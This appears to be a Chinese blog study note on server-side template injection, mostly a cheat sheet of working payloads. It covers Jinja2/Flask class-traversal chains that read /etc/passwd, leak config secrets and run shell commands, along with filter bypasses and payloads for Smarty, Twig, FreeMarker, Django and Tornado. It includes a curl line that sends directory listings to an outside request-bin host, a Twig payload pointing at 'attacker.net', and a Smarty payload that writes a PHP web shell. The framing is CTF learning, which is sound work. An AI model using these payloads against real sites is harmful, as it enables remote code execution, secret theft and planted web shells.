在遇到几次flask之后有点迷茫,在做了几个题目之后稍微有了一点理解,于是选择自己写一下自己的理解,大致包括php和python的模版注入
SSTi 学习(待更新)
模版概述
模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。与此同时,它也扩展了黑客的攻击面。除了常规的 XSS 外,注入到模板中的代码还有可能引发 RCE(远程代码执行)。通常来说,这类问题会在博客,CMS,wiki 中产生。虽然模板引擎会提供沙箱机制,攻击者依然有许多手段绕过它。在这篇文章中,我将会攻击几个模板引擎来说明该类漏洞,并展示沙箱逃逸技术。
模版注入
通过模板,Web应用可以把输入转换成特定的格式,传递给前端。每当服务器用模板引擎解析用户的输入时,如果没有经过合理的处理,就有可能数据插入了程序段中变成了程序的一部分,从而改变了程序的执行逻辑。
附图:各框架模板结构:
详细原理可以查看这个:https://www.jianshu.com/p/aef2ae0498df
构造的方法
基于ssti的魔术方法
1 | __class__ 返回类型所属的对象 |
获取基本类的方法
1 | [].__class__.__base__ |
获取基本类的子类
1 | [].__class__.__base__.__subclasses__() |
简单利用
读取文件
1 | 40]('/flag').read() ().__class__.__base__.__subclasses__()[ |
这时候我们知道索引号为40的是file类
如果不知道的情况下,我们列出全部的类一个个找很麻烦,可以使用一个循环输出,这样查找会方便很多
1 | for i in enumerate(''.__class__.__mro__[-1].__subclasses__()): print i |
1 | (0, <type 'type'>) |
flask/jinja利用方式
config
1 | {{config}}可以获取当前设置,如果题目类似app.config ['FLAG'] = os.environ.pop('FLAG'),那可以直接访问{{config['FLAG']}}或者{{config.FLAG}}得到flag |
self
1 | {{self}} ⇒ <TemplateReference None> |
“” [] ()等数据结构
主要目的是配合__class__.__mro__[2]
这样找到object
类{\{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG']}}
url_for, g, request, namespace, lipsum, range, session, dict, get_flashed_messages, cycler, joiner, config等
如果config,self不能使用,要获取配置信息,就必须从它的上部全局变量(访问配置current_app等)。
例如:
1 | {{url_for.__globals__['current_app'].config.FLAG}} |
读写文件
当然,某些情况下system函数会被过滤。这时候也可以采用os模块的listdir函数来读取目录。(可以配合file来实现任意文件读取)
1 | >>> ().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.') #读取本级目录 |
另外在某些不得已的情况下可以使用以下方式来读取文件。(没见过这种情况)。
方法一:
1 | >>> ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read() #把 read() 改为 write() 就是写文件 |
方法二:
存在的子模块可以通过 .index()方式来查询
1 | >>> ''.__class__.__mro__[2].__subclasses__().index(file) |
用file模块来查询。
1 | >>> [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() |
shell命令执行
本人有点菜,就直接搬运大佬的方法了。
方法一: eval函数进行命令执行
1 | >>> ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()') |
方法二: 利用 warnings.catch_warnings 进行命令执行
1 | >>> {}.__class__.__base__.__subclasses__().index(warnings.catch_warnings) |
查看 linecache 的位置
1 | >>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache') |
找os模块。
1 | >>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os') |
查找system
方法的位置(在这里使用os.open().read()
可以实现一样的效果,步骤一样,不再复述)
1 | >>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system') |
调用system方法。(不包含system,可以绕过过滤system的情况)
1 | >>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami') |
方法三:利用commands进行命令执行
1 | >>> {}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls') |
直接注入
1 | {% for c in [].__class__.__base__.__subclasses__() %} |
常见绕过
以下表示法可用于访问对象的属性:
request.__class__
request["__class__"]
request|attr("__class__")
可以使用以下方法访问数组元素:
array[0]
array.pop(0)
array.__getitem__(2)
1、过滤[]
和.
的情况
1 | pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。 |
2、过滤_
利用request.args
属性{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
将其中的request.args
改为request.values
则利用post的方式进行传参
3、关键词过滤
- base64编码绕过
__getattribute__
使用实例访问属性时,调用该方法
例如被过滤掉__class__
关键词{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
- 字符串拼接绕过
{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
{{[].__getattribute__(['__c','lass__']|join).__base__.__subclasses__()[40]}}
4、过滤{
使用{% if ... %}1{% endif %}
,例如
1 | {% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://http.bin.buuoj.cn/1inhq4f1 -d `ls / | grep flag`;') %}1{% endif %} |
如果不能执行命令,读取文件可以利用盲注的方法逐位将内容爆出来
1 | {% if ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/test').read()[0:1]=='p' %}1{% endif %} |
5、过滤args
,_
, .
1 | fuzz发现过滤 _ . request.*?args |
部分简单payload
Python2
1 | {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}} |
python3
1 | {{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/flag').read()}} |
Smarty
以下内容出自Smarty SSTI
{php}{/php}
Smarty已经废弃{php}标签,强烈建议不要使用。在Smarty 3.1,{php}仅在SmartyBC中可用
{literal}
{literal}可以让一个模板区域的字符原样输出。这经常用于保护页面上的Javascript或css样式表,避免因为Smarty的定界符而错被解析。
那么对于php5的环境我们就可以使用
{if}
Smarty的{if}条件判断和PHP的if 非常相似,只是增加了一些特性。每个{if}必须有一个配对的{/if}. 也可以使用{else} 和 {elseif}. 全部的PHP条件表达式和函数都可以在if内使用,如||,or,&&,and,is_array(), 等等
{if phpinfo()}{/if}
getStreamVariable
新版本失效{self::getStreamVariable("file:///etc/passwd")}
clearConfig()
能写文件对攻击者真的是太有利了,一般不出意外能直接 getshell
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
twig
1 | 文件读取 |
env
1 | {{_self.env.setCache("ftp://attacker.net:2121")}} |
但是新的问题出现了,allow_url_include 一般是不打开的,没法包含远程文件,没关系还有个调用过滤器的函数 getFilter()
这样就好了
1 | {{_self.env.registerUndefinedFilterCallback("exec")}} |
freeMarker
这个模板主要用于 java
1 | <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") } |
Django
1 | {user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY} |
Tornado
写文章的时候正巧赶上护网杯出了一道 tornado 的 SSTI 于是这里也作为一个比较好的例子给大家说明
根据提示这道题的意思就是通过SSTI 获取 cookie_secret,但是这里过滤了很多东西
1 | "%'()*-/=[\]_| |
这里明确写着 handler 对应的就是 RequestHandler,那么也就是说,我们可以使用 handler 调用 RequestHandler 的方法,我们还是看官方文档
1 | {{handler.settings}} |
java.long
1 | ${T(java.lang.System).getenv()} |
沙盒逃逸参考
[沙盒逃逸备忘](https://www.k0rz3n.com/2018/05/04/Python 沙盒逃逸备忘/)